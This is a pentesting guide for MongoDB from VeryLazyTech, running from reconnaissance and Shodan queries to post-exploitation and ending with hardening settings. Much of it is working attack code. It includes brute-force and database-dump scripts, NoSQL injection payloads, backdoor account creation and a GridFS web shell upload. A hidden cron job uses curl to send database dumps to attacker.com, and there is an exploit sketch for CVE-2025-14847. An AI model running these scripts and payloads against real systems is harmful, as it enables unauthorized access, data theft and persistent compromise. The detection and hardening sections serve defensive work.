# MongoDB - Port 27017, 27018

{% tabs %}
{% tab title="Support VeryLazyTech 🎉" %}

* Become VeryLazyTech [**member**](https://shop.verylazytech.com/)**! 🎁**
* **Follow** us on:
  * **✖ Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
  * **👾 Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
  * **📜 Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
  * **📺 YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
  * **📩 Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
  * **🕵️‍♂️ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses.  📚
  {% endtab %}
  {% endtabs %}

## Basic info

MongoDB has become one of the most popular NoSQL databases in modern application development, powering everything from startups to Fortune 500 companies. However, its flexibility and rapid deployment capabilities often lead to significant security misconfigurations. This comprehensive guide walks through the complete methodology for penetration testing MongoDB installations, from initial reconnaissance to post-exploitation.

#### Why MongoDB is a Prime Target

* **Default Configurations**: Many MongoDB instances ship with authentication disabled by default
* **Internet Exposure**: Thousands of MongoDB instances are directly exposed to the internet
* **Sensitive Data**: MongoDB often stores user credentials, API keys, PII, and business-critical information
* **Quick Deployment**: DevOps teams frequently prioritize speed over security during deployment

#### Key Ports

| Port      | Service               | Description                                               |
| --------- | --------------------- | --------------------------------------------------------- |
| **27017** | MongoDB Primary Port  | Default port for client connections                       |
| **27018** | MongoDB Shard Port    | Used in sharded cluster configurations                    |
| 27019     | MongoDB Config Server | Configuration server in replica sets                      |
| 28017     | HTTP Status Interface | Web-based status interface (deprecated in newer versions) |

***

### MongoDB Architecture & Security Overview \<a name="architecture">\</a>

#### Database Structure

MongoDB uses a hierarchical structure:

```
MongoDB Instance
    ├── Databases (e.g., admin, config, local, myapp)
    │   ├── Collections (similar to SQL tables)
    │   │   ├── Documents (JSON-like BSON documents)
    │   │   │   ├── Fields (key-value pairs)
```

#### Default Databases

Understanding default databases is crucial for pentesting:

* **admin**: Administrative database containing user credentials and system information
* **config**: Stores configuration data for sharded clusters
* **local**: Stores data specific to a single server (replica set data)
* **test**: Default database for testing (often left with data)

#### Authentication Mechanisms

MongoDB supports multiple authentication methods:

1. **SCRAM (Default)**: Salted Challenge Response Authentication Mechanism
2. **x.509 Certificate Authentication**: Certificate-based authentication
3. **LDAP**: External LDAP server integration
4. **Kerberos**: Enterprise authentication
5. **AWS IAM**: For MongoDB Atlas

#### Authorization Model

MongoDB uses Role-Based Access Control (RBAC):

**Built-in Roles:**

* `read`: Read data from all non-system collections
* `readWrite`: Read and modify data
* `dbAdmin`: Database administration tasks
* `userAdmin`: Create and modify users and roles
* `clusterAdmin`: Cluster management operations
* `root`: Superuser access (combine all privileges)

***

## Reconnaissance & Information Gathering

#### 1. Network Scanning

**Basic Port Discovery**

```bash
# Quick scan for MongoDB ports
nmap -p 27017,27018,27019,28017 <target>

# Service version detection
nmap -sV -p 27017,27018 <target>

# Comprehensive scan with OS detection
sudo nmap -sS -sV -O -p 27017,27018 <target>
```

**Expected Output:**

```
PORT      STATE SERVICE VERSION
27017/tcp open  mongodb MongoDB 4.4.6
27018/tcp open  mongodb MongoDB 4.4.6 (shard port)
```

**Advanced Scanning with NSE Scripts**

```bash
# Run all MongoDB-related NSE scripts
nmap -sV --script "mongo* and default" -p 27017 <target>

# Specific enumeration scripts
nmap --script mongodb-info -p 27017 <target>
nmap --script mongodb-databases -p 27017 <target>

# Check for authentication requirements
nmap --script mongodb-brute -p 27017 <target>
```

#### 2. OSINT & Shodan Reconnaissance

**Shodan Queries**

Finding exposed MongoDB instances globally:

```
# All MongoDB servers
"mongodb server information"

# Completely open instances (no auth)
"mongodb server information" -"partially enabled"

# Partially authenticated instances
"mongodb server information" "partially enabled"

# Specific MongoDB versions
"MongoDB 3.6" "authentication: disabled"

# MongoDB with specific databases exposed
"mongodb server information" "admin" "listDatabases"

# Geographic targeting
"mongodb server information" country:"US"
```

**Censys Queries**

```
services.service_name: "MONGODB"
services.mongodb.authentication_enabled: false
```

#### 3. Fingerprinting MongoDB Version

Different methods to identify MongoDB version:

**Using Python**

```python
from pymongo import MongoClient
import sys

try:
    client = MongoClient('mongodb://target:27017/', serverSelectionTimeoutMS=5000)
    server_info = client.server_info()
    
    print(f"[+] MongoDB Version: {server_info['version']}")
    print(f"[+] Git Version: {server_info.get('gitVersion', 'N/A')}")
    print(f"[+] OpenSSL Version: {server_info.get('openssl', {}).get('compiled', 'N/A')}")
    print(f"[+] JavaScript Engine: {server_info.get('javascriptEngine', 'N/A')}")
    
except Exception as e:
    print(f"[-] Error: {e}")
```

**Using Mongo Shell**

```bash
# Direct connection
mongo mongodb://target:27017

# Check version
db.version()
db.serverBuildInfo()
```

#### 4. Banner Grabbing

```bash
# Using netcat
nc -v target 27017

# Using telnet
telnet target 27017

# Using Python socket
python3 -c "import socket; s=socket.socket(); s.connect(('target',27017)); s.send(b'\x3a\x00\x00\x00'); print(s.recv(1024))"
```

***

## Enumeration Techniques

#### 1. Checking Authentication Requirements

**Method 1: Configuration File Analysis (Post-Access)**

```bash
# Check if authentication is required
grep "security:" /etc/mongod.conf -A 5

# Alternative paths
cat /opt/bitnami/mongodb/mongodb.conf | grep -i auth
cat /usr/local/etc/mongod.conf | grep -i auth

# Check for noauth setting
grep "noauth.*true" /etc/mongod.conf | grep -v "^#"

# Check if auth is explicitly enabled
grep "auth.*true" /etc/mongod.conf | grep -v "^#\|noauth"
```

**Method 2: Direct Connection Test**

```python
from pymongo import MongoClient
from pymongo.errors import OperationFailure, ServerSelectionTimeoutError

def check_authentication(host, port=27017):
    try:
        # Attempt connection without credentials
        client = MongoClient(f'mongodb://{host}:{port}/', 
                           serverSelectionTimeoutMS=5000)
        
        # Try to list databases (requires privileges)
        dbs = client.list_database_names()
        
        if dbs:
            print(f"[+] SUCCESS! No authentication required")
            print(f"[+] Accessible databases: {dbs}")
            return True
        
    except OperationFailure as e:
        print(f"[-] Authentication required: {e}")
        return False
    except ServerSelectionTimeoutError:
        print(f"[-] Connection timeout")
        return False
    except Exception as e:
        print(f"[-] Error: {e}")
        return False

check_authentication('target')
```

#### 2. Database Enumeration

**Complete Enumeration Script**

```python
from pymongo import MongoClient
import json

def enumerate_mongodb(host, port=27017, username=None, password=None, auth_db='admin'):
    """
    Comprehensive MongoDB enumeration
    """
    
    # Build connection string
    if username and password:
        uri = f'mongodb://{username}:{password}@{host}:{port}/{auth_db}'
    else:
        uri = f'mongodb://{host}:{port}/'
    
    try:
        client = MongoClient(uri, serverSelectionTimeoutMS=5000)
        
        # 1. Server Information
        print("[*] ==> Server Information")
        server_info = client.server_info()
        print(f"    Version: {server_info['version']}")
        print(f"    Platform: {server_info.get('platform', 'N/A')}")
        print(f"    Debug: {server_info.get('debug', 'N/A')}\n")
        
        # 2. List all databases
        print("[*] ==> Databases")
        databases = client.list_database_names()
        print(f"    Total databases: {len(databases)}")
        
        for db_name in databases:
            db = client[db_name]
            collections = db.list_collection_names()
            
            print(f"\n    [+] Database: {db_name}")
            print(f"        Collections: {len(collections)}")
            
            # 3. Enumerate collections
            for coll_name in collections:
                collection = db[coll_name]
                count = collection.count_documents({})
                
                print(f"        [-] Collection: {coll_name}")
                print(f"            Documents: {count}")
                
                # Get sample document to understand schema
                if count > 0:
                    sample = collection.find_one()
                    if sample:
                        fields = list(sample.keys())
                        print(f"            Fields: {', '.join(fields)}")
        
        # 4. User enumeration (requires admin access)
        print("\n[*] ==> Users")
        try:
            admin_db = client.admin
            users = admin_db.command('usersInfo')
            
            if 'users' in users:
                for user in users['users']:
                    print(f"    [+] User: {user['user']}")
                    print(f"        Database: {user['db']}")
                    print(f"        Roles: {user['roles']}")
        except Exception as e:
            print(f"    [-] Cannot enumerate users: {e}")
        
        # 5. Server Status (requires privileges)
        print("\n[*] ==> Server Status")
        try:
            status = client.admin.command('serverStatus')
            print(f"    Uptime: {status['uptime']} seconds")
            print(f"    Connections (current): {status['connections']['current']}")
            print(f"    Connections (available): {status['connections']['available']}")
            print(f"    Network (bytes in): {status['network']['bytesIn']}")
            print(f"    Network (bytes out): {status['network']['bytesOut']}")
        except Exception as e:
            print(f"    [-] Cannot get server status: {e}")
        
        # 6. Replica Set Configuration
        print("\n[*] ==> Replica Set Configuration")
        try:
            rs_status = client.admin.command('replSetGetStatus')
            print(f"    Set Name: {rs_status['set']}")
            print(f"    Members: {len(rs_status['members'])}")
            for member in rs_status['members']:
                print(f"        [-] {member['name']} - State: {member['stateStr']}")
        except Exception as e:
            print(f"    [-] Not a replica set or insufficient privileges")
        
    except Exception as e:
        print(f"[-] Enumeration failed: {e}")

# Usage
enumerate_mongodb('target')
```

#### 3. Targeted Collection Queries

```javascript
// Connect to database
use myapp

// Count documents in collection
db.users.count()

// Find all documents
db.users.find()

// Pretty print
db.users.find().pretty()

// Find specific documents
db.users.find({"username": "admin"})
db.users.find({"role": "admin"})
db.users.find({"email": {$regex: "@admin"}})

// Find with projection (specific fields only)
db.users.find({}, {"username": 1, "email": 1, "password": 1})

// Sort results
db.users.find().sort({"created_at": -1})

// Limit results
db.users.find().limit(10)

// Check indexes (can reveal interesting fields)
db.users.getIndexes()

// Check collection stats
db.users.stats()
```

#### 4. Searching for Sensitive Data

```python
from pymongo import MongoClient
import re

def search_sensitive_data(client, db_name, collection_name):
    """
    Search for common sensitive data patterns
    """
    
    db = client[db_name]
    collection = db[collection_name]
    
    sensitive_patterns = {
        'passwords': ['password', 'passwd', 'pwd', 'pass'],
        'api_keys': ['api_key', 'apikey', 'api_token', 'secret_key'],
        'tokens': ['token', 'access_token', 'refresh_token', 'jwt'],
        'credentials': ['username', 'user', 'login', 'email'],
        'payment': ['card_number', 'cvv', 'credit_card', 'ssn'],
        'private_keys': ['private_key', 'ssh_key', 'rsa_key']
    }
    
    print(f"\n[*] Searching for sensitive data in {db_name}.{collection_name}")
    
    # Get sample document to check fields
    sample = collection.find_one()
    if not sample:
        print("    [-] Collection is empty")
        return
    
    fields = sample.keys()
    
    for category, patterns in sensitive_patterns.items():
        found = []
        for field in fields:
            for pattern in patterns:
                if pattern.lower() in field.lower():
                    found.append(field)
        
        if found:
            print(f"    [!] {category.upper()} found: {', '.join(found)}")
            
            # Try to retrieve actual data
            for field in found:
                sample_values = collection.find({}, {field: 1}).limit(3)
                print(f"        Sample values for '{field}':")
                for doc in sample_values:
                    if field in doc:
                        value = str(doc[field])[:50]  # Truncate for display
                        print(f"          - {value}")
```

***

## Authentication & Authorization Testing

#### 1. Default Credentials Testing

Common MongoDB default scenarios:

```python
default_creds = [
    ('admin', 'admin'),
    ('root', 'root'),
    ('root', 'password'),
    ('admin', 'password'),
    ('mongodb', 'mongodb'),
    ('user', 'user'),
    ('test', 'test')
]

def test_default_creds(host, port=27017):
    for username, password in default_creds:
        try:
            uri = f'mongodb://{username}:{password}@{host}:{port}/admin'
            client = MongoClient(uri, serverSelectionTimeoutMS=3000)
            client.list_database_names()
            
            print(f"[+] SUCCESS! Credentials work: {username}:{password}")
            return True
            
        except Exception as e:
            print(f"[-] Failed: {username}:{password}")
    
    return False
```

#### 2. Brute Force Attacks

**Using Hydra**

```bash
# Hydra brute force
hydra -L users.txt -P passwords.txt mongodb://target:27017

# With specific database
hydra -L users.txt -P passwords.txt target mongodb -s 27017
```

**Using Nmap NSE Script**

```bash
# Basic brute force
nmap --script mongodb-brute -p 27017 target

# With custom wordlists
nmap --script mongodb-brute --script-args \
  userdb=/path/to/users.txt,passdb=/path/to/passwords.txt \
  -p 27017 target

# Against specific database
nmap --script mongodb-brute --script-args \
  mongodb-brute.db=admin \
  -p 27017 target
```

**Custom Python Brute Force Script**

```python
from pymongo import MongoClient
from pymongo.errors import OperationFailure
import itertools
import time

def brute_force_mongodb(host, port, usernames, passwords, db='admin'):
    """
    Brute force MongoDB authentication
    """
    print(f"[*] Starting brute force against {host}:{port}")
    print(f"[*] Users: {len(usernames)}, Passwords: {len(passwords)}")
    print(f"[*] Total combinations: {len(usernames) * len(passwords)}")
    
    attempts = 0
    
    for username, password in itertools.product(usernames, passwords):
        attempts += 1
        
        try:
            uri = f'mongodb://{username}:{password}@{host}:{port}/{db}'
            client = MongoClient(uri, serverSelectionTimeoutMS=2000)
            
            # Verify authentication by trying to list databases
            client.list_database_names()
            
            print(f"\n[+] SUCCESS! Valid credentials found!")
            print(f"[+] Username: {username}")
            print(f"[+] Password: {password}")
            return (username, password)
            
        except OperationFailure:
            print(f"[-] Attempt {attempts}: {username}:{password} - Invalid")
        except Exception as e:
            print(f"[!] Error with {username}:{password}: {e}")
        
        # Rate limiting to avoid detection/lockout
        time.sleep(0.1)
    
    print(f"\n[-] Brute force completed. No valid credentials found.")
    return None

# Usage
usernames = ['admin', 'root', 'mongodb', 'user']
passwords = ['admin', 'password', '123456', 'root', 'mongodb']

brute_force_mongodb('target', 27017, usernames, passwords)
```

#### 3. Authentication Bypass Techniques

**NoSQL Injection in Login Forms**

When MongoDB is used with web applications, login forms may be vulnerable to NoSQL injection:

**Vulnerable code example:**

```javascript
// Node.js vulnerable login
app.post('/login', (req, res) => {
    db.collection('users').findOne({
        username: req.body.username,
        password: req.body.password
    }, (err, user) => {
        if (user) {
            // Login successful
        }
    });
});
```

**Exploitation:**

```json
POST /login HTTP/1.1
Content-Type: application/json

{
    "username": {"$ne": null},
    "password": {"$ne": null}
}
```

This bypasses authentication because `{$ne: null}` matches any document where username and password are not null.

**Other injection payloads:**

```json
// Always true condition
{"$gt": ""}
{"$ne": ""}

// Regex matching
{"$regex": ".*"}

// Exists operator
{"$exists": true}

// Where clause injection
{"username": "admin", "$where": "1==1"}
```

**JavaScript Injection via $where**

```javascript
// Vulnerable query
db.users.find({
    $where: "this.username == '" + userInput + "'"
})

// Exploit: Close quote and inject JavaScript
userInput = "' || '1'=='1"

// Full query becomes:
db.users.find({
    $where: "this.username == '' || '1'=='1'"
})
// This returns all users
```

#### 4. Privilege Escalation

**From Read-Only to Read-Write**

If you have read access to the `admin` database, you can enumerate users and attempt to:

```javascript
// List all users
use admin
db.system.users.find()

// Check current user privileges
db.runCommand({connectionStatus: 1})

// If you can modify users (userAdmin role)
db.createUser({
    user: "newadmin",
    pwd: "password123",
    roles: [{role: "root", db: "admin"}]
})
```

**Exploiting Weak Role Assignments**

```javascript
// Check your current roles
db.runCommand({usersInfo: "current_username", showPrivileges: true})

// If you have dbAdmin but not readWrite
// You can still grant yourself additional roles
db.grantRolesToUser("current_username", [{role: "readWrite", db: "target_db"}])
```

***

## Exploitation Techniques

#### 1. Data Exfiltration

**Full Database Dump**

```bash
# Using mongodump (requires authentication if enabled)
mongodump --host target --port 27017 --out /tmp/mongodb_dump

# Dump specific database
mongodump --host target --port 27017 --db myapp --out /tmp/dump

# With authentication
mongodump --host target --port 27017 \
  --username admin --password password \
  --authenticationDatabase admin \
  --out /tmp/dump

# Dump specific collection
mongodump --host target --port 27017 \
  --db myapp --collection users \
  --out /tmp/dump
```

**Programmatic Dump**

```python
from pymongo import MongoClient
import json
import os

def dump_database(client, db_name, output_dir):
    """
    Dump entire database to JSON files
    """
    db = client[db_name]
    db_dir = os.path.join(output_dir, db_name)
    os.makedirs(db_dir, exist_ok=True)
    
    print(f"[*] Dumping database: {db_name}")
    
    for collection_name in db.list_collection_names():
        collection = db[collection_name]
        documents = list(collection.find({}))
        
        # Convert ObjectId to string for JSON serialization
        for doc in documents:
            if '_id' in doc:
                doc['_id'] = str(doc['_id'])
        
        # Write to file
        output_file = os.path.join(db_dir, f"{collection_name}.json")
        with open(output_file, 'w') as f:
            json.dump(documents, f, indent=2, default=str)
        
        print(f"    [+] Dumped {len(documents)} documents from {collection_name}")

# Usage
client = MongoClient('mongodb://target:27017')
for db_name in client.list_database_names():
    if db_name not in ['admin', 'config', 'local']:  # Skip system databases
        dump_database(client, db_name, '/tmp/mongo_dump')
```

#### 2. Malicious Data Injection

**Inserting Backdoor Accounts**

```javascript
// Connect to target
use myapp

// Insert admin backdoor
db.users.insert({
    username: "backdoor_admin",
    email: "admin@backdoor.com",
    password: "$2a$10$xyz...",  // Pre-computed bcrypt hash
    role: "admin",
    active: true,
    created_at: new Date()
})

// Verify insertion
db.users.find({username: "backdoor_admin"})
```

**Web Shell Upload via GridFS**

```python
from pymongo import MongoClient
import gridfs

def upload_webshell(client, db_name, webshell_path):
    """
    Upload web shell to GridFS
    """
    db = client[db_name]
    fs = gridfs.GridFS(db)
    
    with open(webshell_path, 'rb') as f:
        file_id = fs.put(f, filename='shell.php')
    
    print(f"[+] Uploaded webshell with ID: {file_id}")
    
    # If application serves files from GridFS, access at:
    # http://target/files/<file_id>
```

#### 3. Server-Side JavaScript Execution

MongoDB allows executing JavaScript on the server side:

```javascript
// Execute system commands (if not disabled)
db.eval("function() { return run('whoami'); }")

// Read files
db.eval("function() { return cat('/etc/passwd'); }")

// List processes
db.eval("function() { return listFiles('/proc'); }")
```

**Note:** `db.eval()` is deprecated and disabled by default in MongoDB 3.0+, but may still work on older installations.

**MapReduce Code Execution**

```javascript
// Malicious MapReduce function
db.collection.mapReduce(
    function() {
        // Map function with code execution
        var result = run("whoami");
        emit(this._id, result);
    },
    function(key, values) {
        return Array.sum(values);
    },
    { out: "results" }
)
```

#### 4. Denial of Service Attacks

**Resource Exhaustion**

```javascript
// Create massive collection
for (var i = 0; i < 10000000; i++) {
    db.test.insert({data: "A".repeat(1000)})
}

// Regex DoS (ReDoS)
db.users.find({
    username: {
        $regex: "(a+)+"
    }
})

// Expensive aggregation
db.collection.aggregate([
    { $unwind: "$large_array" },
    { $unwind: "$another_array" },
    { $group: { _id: null, count: { $sum: 1 } } }
])
```

**Crash via Malformed Queries**

```python
from pymongo import MongoClient

client = MongoClient('mongodb://target:27017')
db = client.test

# Malformed BSON
try:
    db.collection.find({"$where": "while(true){}"})
except Exception as e:
    print(f"Query caused: {e}")
```

***

## Post-Exploitation

#### 1. Persistence Mechanisms

**Creating Hidden Admin User**

```javascript
use admin

// Create user with minimal footprint
db.createUser({
    user: "..system..",  // Hidden name
    pwd: "StrongPassword123!",
    roles: [
        {role: "root", db: "admin"},
        {role: "restore", db: "admin"}
    ]
})

// Verify user was created
db.system.users.find({user: "..system.."})
```

**Scheduled Backup Exfiltration**

Create a cron job to periodically dump and exfiltrate data:

```bash
#!/bin/bash
# /tmp/.backup.sh

DATE=$(date +%Y%m%d_%H%M%S)
DUMP_DIR="/tmp/.mongodb_$DATE"

# Dump database
mongodump --host localhost --out $DUMP_DIR

# Compress
tar -czf $DUMP_DIR.tar.gz $DUMP_DIR

# Exfiltrate (example: upload to attacker server)
curl -F "file=@$DUMP_DIR.tar.gz" http://attacker.com/upload

# Cleanup
rm -rf $DUMP_DIR $DUMP_DIR.tar.gz
```

```bash
# Add to crontab
(crontab -l 2>/dev/null; echo "0 */6 * * * /tmp/.backup.sh >/dev/null 2>&1") | crontab -
```

#### 2. Lateral Movement

**Discovering Other Databases/Hosts**

```python
from pymongo import MongoClient

def discover_infrastructure(client):
    """
    Enumerate MongoDB infrastructure
    """
    print("[*] Discovering MongoDB infrastructure...")
    
    # Check for replica sets
    try:
        status = client.admin.command('replSetGetStatus')
        print(f"\n[+] Replica Set: {status['set']}")
        
        for member in status['members']:
            print(f"    [-] Member: {member['name']}")
            print(f"        State: {member['stateStr']}")
            print(f"        Health: {member['health']}")
            
            # Try to connect to each member
            host, port = member['name'].split(':')
            try:
                replica_client = MongoClient(f'mongodb://{host}:{port}/',
                                           serverSelectionTimeoutMS=3000)
                replica_client.list_database_names()
                print(f"        [!] Accessible!")
            except:
                print(f"        [-] Not accessible")
                
    except Exception as e:
        print(f"[-] Not a replica set: {e}")
    
    # Check for sharded clusters
    try:
        config = client.config
        shards = list(config.shards.find())
        
        if shards:
            print(f"\n[+] Sharded Cluster Detected")
            for shard in shards:
                print(f"    [-] Shard: {shard['_id']}")
                print(f"        Host: {shard['host']}")
    except:
        pass
    
    # Search for connection strings in documents
    print("\n[*] Searching for connection strings...")
    for db_name in client.list_database_names():
        db = client[db_name]
        for coll_name in db.list_collection_names():
            collection = db[coll_name]
            
            # Search for MongoDB URIs
            results = collection.find({
                "$or": [
                    {"$text": {"$search": "mongodb://"}},
                    {"connection": {"$regex": "mongodb://"}},
                    {"database_url": {"$regex": "mongodb://"}}
                ]
            })
            
            for doc in results:
                print(f"    [!] Found in {db_name}.{coll_name}: {doc}")
```

#### 3. Pivoting Through MongoDB

**Using MongoDB as a Proxy**

If MongoDB server has network access to internal resources:

```javascript
// Execute network commands through MongoDB
db.eval("function() { return run('ping -c 1 internal.host.local'); }")

// Port scanning
function portScan(host, port) {
    try {
        var sock = new Mongo(host + ":" + port);
        return "OPEN";
    } catch(e) {
        return "CLOSED";
    }
}

// Scan internal network
for (var i = 1; i < 255; i++) {
    var result = portScan("192.168.1." + i, 22);
    if (result == "OPEN") {
        print("192.168.1." + i + ":22 is OPEN");
    }
}
```

***

## Critical Vulnerabilities&#x20;

#### 1. CVE-2025-14847: MongoBleed (Memory Disclosure)

**MongoBleed** is a critical unauthenticated memory disclosure vulnerability affecting MongoDB versions 3.6 through 8.2 when zlib compression is enabled.

**Vulnerability Details**

The vulnerability exists in how MongoDB handles the `OP_COMPRESSED` protocol message:

1. **Attacker sends**: `OP_COMPRESSED` message with maliciously large `uncompressedSize` value
2. **Server allocates**: Buffer based on attacker-controlled size
3. **Decompression**: Small compressed payload decompresses into much smaller data
4. **Memory leak**: Remaining buffer contains uninitialized heap data
5. **Exploitation**: Omit BSON null terminator, causing parser to scan leaked memory
6. **Data exfiltration**: Error messages echo both malicious document and leaked heap bytes

**What can be leaked:**

* Authentication credentials from other connections
* API keys and tokens
* Session tokens
* WiredTiger cache contents
* `/proc` filesystem data
* Data from concurrent connections

**Affected Versions**

* MongoDB 3.6.x (all versions)
* MongoDB 4.0.x (all versions)
* MongoDB 4.2.x (all versions)
* MongoDB 4.4.0 - 4.4.29
* MongoDB 5.0.0 - 5.0.31
* MongoDB 6.0.0 - 6.0.26
* MongoDB 7.0.0 - 7.0.27
* MongoDB 8.0.0 - 8.0.16
* MongoDB 8.2.0 - 8.2.2

**Checking if Instance is Vulnerable**

```javascript
// Connect to MongoDB
mongo mongodb://target:27017

// Check if zlib compression is enabled
db.adminCommand({getParameter: 1, networkMessageCompressors: 1})

// Output example (VULNERABLE):
{
    "networkMessageCompressors": "snappy,zlib,zstd",
    "ok": 1
}

// If "zlib" is in the list, the server is vulnerable
```

**Exploitation**

**Using Public PoC:**

```bash
# Clone PoC
git clone https://github.com/joe-desimone/mongobleed.git
cd mongobleed

# Install dependencies
pip3 install pymongo

# Run exploit
python3 mongobleed.py --host target --max-offset 50000 --output leaked_data.bin

# Analyze leaked data
strings leaked_data.bin | grep -i "password\|token\|key\|secret"
hexdump -C leaked_data.bin | less
```

**Manual exploitation concept:**

```python
import struct
import zlib
from pymongo import MongoClient

def exploit_mongobleed(host, port=27017):
    """
    Simplified MongoBleed exploitation concept
    """
    import socket
    
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, port))
    
    # Create malicious OP_COMPRESSED message
    # Set uncompressedSize to very large value (e.g., 65536 bytes)
    # But only provide small compressed payload
    
    compressed_payload = zlib.compress(b"X" * 100)
    
    # Build OP_COMPRESSED header
    # Format: messageLength, requestID, responseTo, opCode
    message_length = 16 + 9 + len(compressed_payload)
    
    header = struct.pack('<iiii',
        message_length,     # total message length
        12345,              # requestID
        0,                  # responseTo
        2012                # OP_COMPRESSED opcode
    )
    
    # Compression header
    # Format: originalOpcode, uncompressedSize, compressorId
    comp_header = struct.pack('<iiB',
        2004,               # OP_QUERY
        65536,              # MALICIOUS: claim huge uncompressed size
        2                   # zlib compressor
    )
    
    # Send malicious message
    sock.send(header + comp_header + compressed_payload)
    
    # Receive response containing leaked memory
    response = sock.recv(65536)
    
    return response

# Usage (for educational purposes only)
# leaked = exploit_mongobleed('target')
# print(leaked)
```

**Detection**

**Network-based detection:**

```bash
# Monitor for high-velocity short-lived connections
# Using tcpdump
tcpdump -i eth0 'tcp port 27017' -w mongo_traffic.pcap

# Analyze with tshark
tshark -r mongo_traffic.pcap -Y "mongodb" -T fields \
  -e ip.src -e tcp.srcport | sort | uniq -c | sort -rn
```

**Log-based detection:**

```bash
# Check MongoDB logs for suspicious patterns
tail -f /var/log/mongodb/mongod.log | grep -i "compress\|error\|unauthorized"

# Look for connection spikes
grep "connection accepted" /var/log/mongodb/mongod.log | \
  awk '{print $1, $2}' | uniq -c | sort -rn
```

**Cortex XQL detection query:**

```javascript
// High-velocity inbound connections to mongod
dataset = xdr_data
| filter event_type = ENUM.NETWORK
| filter lowercase(actor_process_image_name) in ("mongod", "mongod.exe")
| filter action_network_is_server = true
| filter action_remote_ip not in (null, "")
| filter incidr(action_remote_ip, "10.0.0.0/8") != true
| filter action_network_session_duration <= 5000
| bin _time span = 1m
| comp count(_time) as Counter by agent_hostname, action_remote_ip, _time
| filter Counter >= 500
```

**Mitigation**

1. **Immediate**: Upgrade to patched versions
   * MongoDB 4.4.30+
   * MongoDB 5.0.32+
   * MongoDB 6.0.27+
   * MongoDB 7.0.28+
   * MongoDB 8.0.17+
   * MongoDB 8.2.3+
2. **Temporary**: Disable zlib compression

```yaml
# In mongod.conf
net:
  compression:
    compressors: snappy,zstd  # Remove 'zlib'
```

3. **Network segmentation**: Restrict MongoDB access
4. **Monitoring**: Implement connection rate monitoring

#### 2. CVE-2020-7928: Privilege Escalation

Affects MongoDB Server 4.2.x before 4.2.3:

```javascript
// Vulnerability: Improper role validation
// Attacker with limited privileges can escalate to root

// Check version
db.version()

// If vulnerable (< 4.2.3), exploit role validation flaw
db.runCommand({
    createRole: "malicious_role",
    privileges: [
        {resource: {db: "admin", collection: ""}, actions: ["anyAction"]}
    ],
    roles: []
})

// Grant yourself the malicious role
db.grantRolesToUser("current_user", ["malicious_role"])
```

#### 3. MongoDB Injection Vulnerabilities

**Where Clause Injection**

```javascript
// Vulnerable code
var userInput = req.body.username;
db.collection.find({
    $where: "this.username == '" + userInput + "'"
})

// Exploit
userInput = "'; return true; //"

// Results in code execution
db.collection.find({
    $where: "this.username == ''; return true; //'"
})
```

**Operator Injection**

```javascript
// Vulnerable API endpoint
POST /api/users
{
    "username": {"$gt": ""},
    "password": {"$gt": ""}
}

// This bypasses authentication and returns all users
```

#### 4. ObjectId Prediction (IDOR)

MongoDB ObjectIds are predictable:

**Structure**: `[4-byte timestamp][5-byte random][3-byte counter]`

Example: `5f2459ac9fa6dc2500314019`

* `5f2459ac` = Timestamp (1596217772 = July 31, 2020 17:49:32)
* `9fa6dc` = Machine ID
* `2500` = Process ID
* `314019` = Counter

**Exploitation**

```python
from bson import ObjectId
import datetime
import time

def predict_objectids(known_id, count=1000):
    """
    Predict subsequent ObjectIds based on a known ID
    """
    known_oid = ObjectId(known_id)
    
    # Extract components
    timestamp = int.from_bytes(known_oid.binary[:4], 'big')
    machine_process = known_oid.binary[4:9]
    counter = int.from_bytes(known_oid.binary[9:12], 'big')
    
    predicted_ids = []
    
    for i in range(count):
        # Increment counter
        new_counter = (counter + i + 1) % (2**24)
        
        # Construct new ObjectId
        new_oid_bytes = (
            timestamp.to_bytes(4, 'big') +
            machine_process +
            new_counter.to_bytes(3, 'big')
        )
        
        predicted_ids.append(ObjectId(new_oid_bytes))
    
    return predicted_ids

# Usage
known_id = "5f2459ac9fa6dc2500314019"
predictions = predict_objectids(known_id, 100)

# Test predictions against API
for oid in predictions:
    # Try to access document with predicted ID
    # GET /api/document/<oid>
    print(f"Testing: {oid}")
```

**Using mongo-objectid-predict tool:**

```bash
# Install tool
git clone https://github.com/andresriancho/mongo-objectid-predict.git
cd mongo-objectid-predict

# Generate predictions
python predict.py --id 5f2459ac9fa6dc2500314019

# Output: List of ~1000 probable next ObjectIds
```

***

## Defense & Hardening&#x20;

#### 1. Authentication & Authorization

**Enable Authentication**

```yaml
# /etc/mongod.conf
security:
  authorization: enabled
```

```bash
# Restart MongoDB
sudo systemctl restart mongod

# Create admin user
mongo
use admin
db.createUser({
  user: "admin",
  pwd: "StrongPassword123!",
  roles: [{role: "root", db: "admin"}]
})
```

**Implement Role-Based Access Control**

```javascript
// Create application-specific user with minimal privileges
use myapp
db.createUser({
  user: "app_user",
  pwd: "AppPassword123!",
  roles: [
    {role: "readWrite", db: "myapp"}
  ]
})

// Read-only user for analytics
db.createUser({
  user: "analytics_user",
  pwd: "AnalyticsPass123!",
  roles: [
    {role: "read", db: "myapp"}
  ]
})
```

#### 2. Network Security

**Bind to Specific Interface**

```yaml
# /etc/mongod.conf
net:
  port: 27017
  bindIp: 127.0.0.1  # Only accept local connections
  # Or specific internal IP
  # bindIp: 127.0.0.1,10.0.1.5
```

**Firewall Rules**

```bash
# UFW (Ubuntu)
sudo ufw allow from 10.0.1.0/24 to any port 27017
sudo ufw deny 27017

# iptables
sudo iptables -A INPUT -p tcp -s 10.0.1.0/24 --dport 27017 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 27017 -j DROP
```

**Enable TLS/SSL**

```yaml
# /etc/mongod.conf
net:
  ssl:
    mode: requireSSL
    PEMKeyFile: /etc/ssl/mongodb.pem
    CAFile: /etc/ssl/ca.pem
```

#### 3. Encryption

**Encryption at Rest**

```yaml
# /etc/mongod.conf (Enterprise only)
security:
  enableEncryption: true
  encryptionKeyFile: /path/to/encryption/key
```

**Encryption in Transit**

Always use TLS for client-server and server-server communication:

```yaml
net:
  ssl:
    mode: requireSSL
    PEMKeyFile: /etc/ssl/mongodb.pem
```

#### 4. Disable Dangerous Features

```yaml
